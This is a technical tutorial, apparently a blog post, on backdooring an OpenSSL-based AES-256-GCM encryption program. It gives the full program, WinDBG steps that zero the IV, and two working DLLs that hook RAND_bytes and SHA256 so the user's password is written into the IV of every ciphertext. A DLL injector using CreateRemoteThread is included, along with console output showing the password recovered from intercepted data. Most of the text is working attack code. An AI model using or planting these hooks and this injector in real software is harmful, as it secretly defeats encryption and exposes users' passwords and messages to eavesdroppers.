In this article, we’re going to be looking at performing memory patching of OpenSSL libraries to introduce a simple backdoor.
Writing an Encryption Application
The below console application uses OpenSSL to implement AES-256 in GCM mode. SHA-256 is used for a key derivation function.
#include <iostream>
#include <string>
#include <vector>
#include <cstring>
#include <sstream>
#include <iomanip>
#include <openssl/evp.h>
#include <openssl/rand.h>
#include <openssl/sha.h>
#include <openssl/err.h>
// GCM Standards
const int GCM_IV_LEN = 12;
const int GCM_TAG_LEN = 16;
// Helper to convert raw bytes to a hex string
std::string bytes_to_hex(const std::vector<unsigned char>& bytes) {
std::ostringstream oss;
for (unsigned char b : bytes) {
oss << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(b);
}
return oss.str();
}
// Helper to convert a hex string back to raw bytes
std::vector<unsigned char> hex_to_bytes(const std::string& hex) {
std::vector<unsigned char> bytes;
for (size_t i = 0; i < hex.length(); i += 2) {
std::string byteString = hex.substr(i, 2);
unsigned char byte = static_cast<unsigned char>(strtol(byteString.c_str(), nullptr, 16));
bytes.push_back(byte);
}
return bytes;
}
// Helper to turn any password into a 32-byte (256-bit) key using SHA-256
std::vector<unsigned char> derive_key(const std::string& user_password) {
std::vector<unsigned char> key(SHA256_DIGEST_LENGTH);
SHA256(
reinterpret_cast<const unsigned char*>(user_password.c_str()),
user_password.length(),
key.data()
);
return key;
}
void handleErrors() {
ERR_print_errors_fp(stderr);
abort();
}
// Encrypts plaintext and returns a combined vector: [IV][TAG][Ciphertext]
std::vector<unsigned char> encrypt(
const std::string& plaintext,
const std::vector<unsigned char>& key
) {
unsigned char iv[GCM_IV_LEN];
unsigned char tag[GCM_TAG_LEN];
if (!RAND_bytes(iv, sizeof(iv)))
handleErrors();
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
if (!ctx)
handleErrors();
if (1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL))
handleErrors();
if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, GCM_IV_LEN, NULL))
handleErrors();
if (1 != EVP_EncryptInit_ex(ctx, NULL, NULL, key.data(), iv))
handleErrors();
std::vector<unsigned char> ciphertext(plaintext.length());
int len = 0;
int ciphertext_len = 0;
if (1 != EVP_EncryptUpdate(
ctx,
ciphertext.data(),
&len,
reinterpret_cast<const unsigned char*>(plaintext.c_str()),
plaintext.length()))
{
handleErrors();
}
ciphertext_len = len;
if (1 != EVP_EncryptFinal_ex(ctx, ciphertext.data() + len, &len))
handleErrors();
ciphertext_len += len;
if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, GCM_TAG_LEN, tag))
handleErrors();
EVP_CIPHER_CTX_free(ctx);
std::vector<unsigned char> output;
output.reserve(GCM_IV_LEN + GCM_TAG_LEN + ciphertext_len);
output.insert(output.end(), iv, iv + GCM_IV_LEN);
output.insert(output.end(), tag, tag + GCM_TAG_LEN);
output.insert(output.end(), ciphertext.begin(), ciphertext.end());
return output;
}
// Decrypts an encrypted payload vector: [IV][TAG][Ciphertext]
std::string decrypt(
const std::vector<unsigned char>& encrypted_data,
const std::vector<unsigned char>& key
) {
if (encrypted_data.size() < (GCM_IV_LEN + GCM_TAG_LEN)) {
std::cerr << "Error: Invalid or truncated hex payload." << std::endl;
return "";
}
unsigned char iv[GCM_IV_LEN];
std::memcpy(iv, encrypted_data.data(), GCM_IV_LEN);
unsigned char tag[GCM_TAG_LEN];
std::memcpy(tag, encrypted_data.data() + GCM_IV_LEN, GCM_TAG_LEN);
std::vector<unsigned char> ciphertext(
encrypted_data.begin() + GCM_IV_LEN + GCM_TAG_LEN,
encrypted_data.end()
);
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
if (!ctx)
handleErrors();
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL))
handleErrors();
if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, GCM_IV_LEN, NULL))
handleErrors();
if (1 != EVP_DecryptInit_ex(ctx, NULL, NULL, key.data(), iv))
handleErrors();
std::vector<unsigned char> plaintext(ciphertext.size());
int len = 0;
int plaintext_len = 0;
if (1 != EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size())) {
handleErrors();
}
plaintext_len = len;
if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, GCM_TAG_LEN, tag))
handleErrors();
int ret = EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len);
EVP_CIPHER_CTX_free(ctx);
if (ret > 0) {
plaintext_len += len;
plaintext.resize(plaintext_len);
return std::string(plaintext.begin(), plaintext.end());
}
else {
std::cerr << "Authentication Failed! (Wrong password or tampered data)" << std::endl;
return "";
}
}
int main() {
int choice = 0;
std::string password;
std::cout << "=== AES-256-GCM Tool ===\n";
std::cout << "1. Encrypt text to Hex\n";
std::cout << "2. Decrypt Hex to text\n";
std::cout << "Select an option (1-2): ";
std::cin >> choice;
std::cin.ignore(); // Clear newline from stream
if (choice != 1 && choice != 2) {
std::cerr << "Invalid selection. Exiting.\n";
return 1;
}
std::cout << "Enter password: ";
std::getline(std::cin, password);
auto key = derive_key(password);
if (choice == 1) {
// Encryption Flow
std::string plaintext;
std::cout << "Enter text to encrypt: ";
std::getline(std::cin, plaintext);
auto encrypted_bytes = encrypt(plaintext, key);
std::string hex_output = bytes_to_hex(encrypted_bytes);
std::cout << "\n--- ENCRYPTED RESULT ---\n";
std::cout << hex_output << "\n------------------------\n";
}
else if (choice == 2) {
// Decryption Flow
std::string hex_input;
std::cout << "Enter Hex string to decrypt: ";
std::getline(std::cin, hex_input);
if (hex_input.length() % 2 != 0) {
std::cerr << "Error: Hex string must have an even length.\n";
return 1;
}
auto encrypted_bytes = hex_to_bytes(hex_input);
std::string decrypted_text = decrypt(encrypted_bytes, key);
if (!decrypted_text.empty()) {
std::cout << "\n--- DECRYPTED TEXT ---\n";
std::cout << decrypted_text << "\n----------------------\n";
}
}
return 0;
}
Running the application, we can see it’s simply encrypting and decrypting text using a password.
C:\>Encryption.exe
=== AES-256-GCM Tool ===
1. Encrypt text to Hex
2. Decrypt Hex to text
Select an option (1-2): 1
Enter password: Password1
Enter text to encrypt: Secret Message
--- ENCRYPTED RESULT ---
d4cacb5fb93ed79e41f29185ed89fd998e7dd9e481fbdd4f873e962f60f6a6aea5fef7764bb9cca2aeea
------------------------
C:\>Encryption.exe
=== AES-256-GCM Tool ===
1. Encrypt text to Hex
2. Decrypt Hex to text
Select an option (1-2): 2
Enter password: Password1
Enter Hex string to decrypt: d4cacb5fb93ed79e41f29185ed89fd998e7dd9e481fbdd4f873e962f60f6a6aea5fef7764bb9cca2aeea
--- DECRYPTED TEXT ---
Secret Message
----------------------
Backdooring the Initialisation Vector
An initialization vector (IV) is a random or semi-random value used in cryptography alongside a secret key to make encryption more secure.
The main purpose of an IV is to ensure that encrypting the same plaintext twice produces different ciphertexts. OpenSSL uses the RAND_bytes function to generate pseudo random data for the IV. We can examine this function using WinDBG.
First, set a software breakpoint on the function and continue execution.
0:004> bp libcrypto_3_x64!RAND_bytes
*** WARNING: Unable to verify checksum for C:\Users\user\Desktop\Encryption\Encryption\x64\Release\libcrypto-3-x64.dll
0:004> g
When the breakpoint hits, examine the contents of the RCX and RDX registers.
0:000> r rcx
rcx=000000f8761afce0
0:000> r rdx
rdx=0000000000000010
0:000> dd 000000f8761afce0
000000f8`761afce0 00000000 00000000 761afdb9 000000f8
RCX will contain a pointer to the memory address where the IV value will be stored. At this point, it’s not populated. Use the pt to continue to the end of the function.
0:000> pt
ModLoad: 00007ffd`74940000 00007ffd`7495b000 C:\WINDOWS\SYSTEM32\CRYPTSP.dll
ModLoad: 00007ffd`74040000 00007ffd`74079000 C:\WINDOWS\system32\rsaenh.dll
ModLoad: 00007ffd`74930000 00007ffd`7493c000 C:\WINDOWS\SYSTEM32\CRYPTBASE.dll
ModLoad: 00007ffd`766a0000 00007ffd`76745000 C:\WINDOWS\System32\bcryptPrimitives.dll
libcrypto_3_x64!RAND_bytes+0x17a:
00007ffc`d1a23e5a c3 ret
0:000> dd 000000f8761afce0
000000f8`761afce0 b307813d b50674fc 4e1915c6 ca3b1586
We can use the fill command to zero out the IV value.
0:000> f 000000f8761afce0 L10 00
Filled 0x10 bytes
0:000> dd 000000f8761afce0
000000f8`761afce0 00000000 00000000 00000000 00000000
You should see in the program output, encryption and decryption takes place as intended – but the IV value has been zeroed out (as intended).
Encryption.exe
=== AES-256-GCM Tool ===
1. Encrypt text to Hex
2. Decrypt Hex to text
Select an option (1-2): 1
Enter password: Password1
Enter text to encrypt: Secret Message
--- ENCRYPTED RESULT ---
00000000000000000000000077a82bb2d07901efbf1d0c559f37050afeae302e5a0118c7267cf268ef30
To programmatically modify the memory in the same manner as we have done above, we can overwrite the first 15 bytes of the RAND_bytes function prologue, with a JMP instruction to redirect execution to our code.
#include "pch.h"
#include <string>
typedef int (*RandBytes_t)(unsigned char* buf, int num);
RandBytes_t fpRandBytesOriginal = nullptr;
int HookedRandBytes(unsigned char *buf, int num) {
char myIV[12] = {};
strcpy_s(myIV, "TEXTHERE");
memcpy(buf, myIV, sizeof(myIV));
int result = 1;
return result;
}
void SetupHook() {
void* targetAddr = (void*)GetProcAddress(GetModuleHandleA("libcrypto-3-x64.dll"), "RAND_bytes");
if (!targetAddr) return;
// --- STEP A: Determine Overwrite Length ---
const int overwriteLen = 15;
// --- STEP B: Create Trampoline ---
uint8_t* trampoline = (uint8_t*)VirtualAlloc(NULL, 128, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Copy original bytes to trampoline
memcpy(trampoline, targetAddr, overwriteLen);
// Append Jump Back to (targetAddr + overwriteLen)
uint8_t jmpBack[] = {
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp qword ptr [rip+0]
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // 8-byte destination address
};
uint64_t backAddr = (uint64_t)targetAddr + overwriteLen;
memcpy(&jmpBack[6], &backAddr, 8);
memcpy(trampoline + overwriteLen, jmpBack, sizeof(jmpBack));
fpRandBytesOriginal = (RandBytes_t)trampoline;
// --- STEP C: Patch Original Function ---
DWORD old;
VirtualProtect(targetAddr, overwriteLen, PAGE_EXECUTE_READWRITE, &old);
// Use the same FF 25 jump pattern for the hook itself
uint8_t jmpToHook[14];
memcpy(jmpToHook, jmpBack, 14);
uint64_t hookAddr = (uint64_t)HookedRandBytes;
memcpy(&jmpToHook[6], &hookAddr, 8);
// Apply patch and fill remaining bytes with NOPs (0x90) to avoid illegal instructions
memset(targetAddr, 0x90, overwriteLen);
memcpy(targetAddr, jmpToHook, 14);
VirtualProtect(targetAddr, overwriteLen, old, &old);
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID res) {
if (r == DLL_PROCESS_ATTACH) CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SetupHook, 0, 0, 0);
return TRUE;
}
Injecting this DLL into memory of the target application will require a DLL loader. The below code can be used for this purpose.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int main(int argc, char* argv[]) {
char sampleDLL[] = "C:\\IVHook.dll";
HANDLE process_handle;
//Get a handle to our remote process
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// Allocate memory in the remote process
LPVOID buffer = VirtualAllocEx(process_handle, NULL, sizeof(sampleDLL), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
// Write our DLL to the remote process
WriteProcessMemory(process_handle, buffer, sampleDLL, sizeof(sampleDLL), NULL);
//Retrieve the memory address of LoadLibraryA function
HMODULE k32_handle = GetModuleHandle(L"Kernel32");
VOID* load_library = GetProcAddress(k32_handle, "LoadLibraryA");
//Execute the DLL in a new remote thread
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)load_library, buffer, 0, NULL);
CloseHandle(process_handle);
return 0;
}
Minhook Code
At this point, we can the ability to place arbitrary values in the Initialization Vector field. Next, we also patch the key derivation routine (in our case SHA-256) to intercept the password, and place it in the IV field. The result is if messages were intercepted in transit, anyone would be able to decrypt them since the password is included in the message body.
The below code uses the Minhook library, since it’s more robust than directly patching memory.
#include "pch.h"
#include <Windows.h>
#include <stdint.h>
#include <MinHook.h>
char myIV[12] = {};
//
// ======================================================
// RAND_bytes
// ======================================================
//
typedef int (*RandBytes_t)(unsigned char* buf, int num);
RandBytes_t fpRandBytesOriginal = nullptr;
int HookedRandBytes(unsigned char* buf, int num)
{
memcpy(buf, myIV, sizeof(myIV));
return 1;
}
//
// ======================================================
// SHA256
// ======================================================
//
typedef unsigned char* (*SHA256_t)(
const unsigned char* d,
size_t n,
unsigned char* md
);
SHA256_t fpSHA256Original = nullptr;
unsigned char* HookedSHA256(
const unsigned char* d,
size_t n,
unsigned char* md)
{
size_t toCopy = (n < 16) ? n : 16;
memcpy(myIV, d, toCopy);
// pass-through
return fpSHA256Original(d, n, md);
}
//
// ======================================================
// SETUP
// ======================================================
//
void SetupHook()
{
if (MH_Initialize() != MH_OK)
return;
HMODULE hCrypto =
GetModuleHandleA("libcrypto-3-x64.dll");
if (!hCrypto)
return;
//
// Hook RAND_bytes
//
void* randAddr =
GetProcAddress(hCrypto, "RAND_bytes");
if (randAddr)
{
if (MH_CreateHook(
randAddr,
&HookedRandBytes,
reinterpret_cast<void**>(&fpRandBytesOriginal)
) == MH_OK)
{
MH_EnableHook(randAddr);
}
}
//
// Hook SHA256
//
void* shaAddr =
GetProcAddress(hCrypto, "SHA256");
if (shaAddr)
{
if (MH_CreateHook(
shaAddr,
&HookedSHA256,
reinterpret_cast<void**>(&fpSHA256Original)
) == MH_OK)
{
MH_EnableHook(shaAddr);
}
}
}
//
// ======================================================
// DLL ENTRY
// ======================================================
//
BOOL APIENTRY DllMain(
HMODULE h,
DWORD r,
LPVOID)
{
if (r == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(h);
CreateThread(
0,
0,
(LPTHREAD_START_ROUTINE)SetupHook,
0,
0,
0);
}
else if (r == DLL_PROCESS_DETACH)
{
MH_DisableHook(MH_ALL_HOOKS);
MH_Uninitialize();
}
return TRUE;
}
The Result
The adversary injects the above hooking code into the application, when it runs we can see the password is included in the IV value.
C:\>Encryption.exe
=== AES-256-GCM Tool ===
1. Encrypt text to Hex
2. Decrypt Hex to text
Select an option (1-2): 1
Enter password: Password1
Enter text to encrypt: Secret Message
--- ENCRYPTED RESULT ---
50617373776f7264310000005a55e8ed8eda4c07798ed8ccd2c7f8435b66bdd25d22865a975400148339
50 = P
61 = a
73 = s
73 = s
77 = w
6f = o
72 = r
64 = d
31 = 1
Now we know the password, we can easily decrypt the message.
Encryption.exe
=== AES-256-GCM Tool ===
1. Encrypt text to Hex
2. Decrypt Hex to text
Select an option (1-2): 2
Enter password: Password1
Enter Hex string to decrypt: 50617373776f7264310000005a55e8ed8eda4c07798ed8ccd2c7f8435b66bdd25d22865a975400148339
--- DECRYPTED TEXT ---
Secret Message
----------------------
In Conclusion
Any number of changes could be made to encryption libraries to attempt to undermine their effectiveness, however typically changing how cryptographic algorithms work will prevent messages from being reconstructed elsewhere.
It’s also worth noting that reuse of IV values in AES-GCM will undermine the confidentiality and integrity of messages.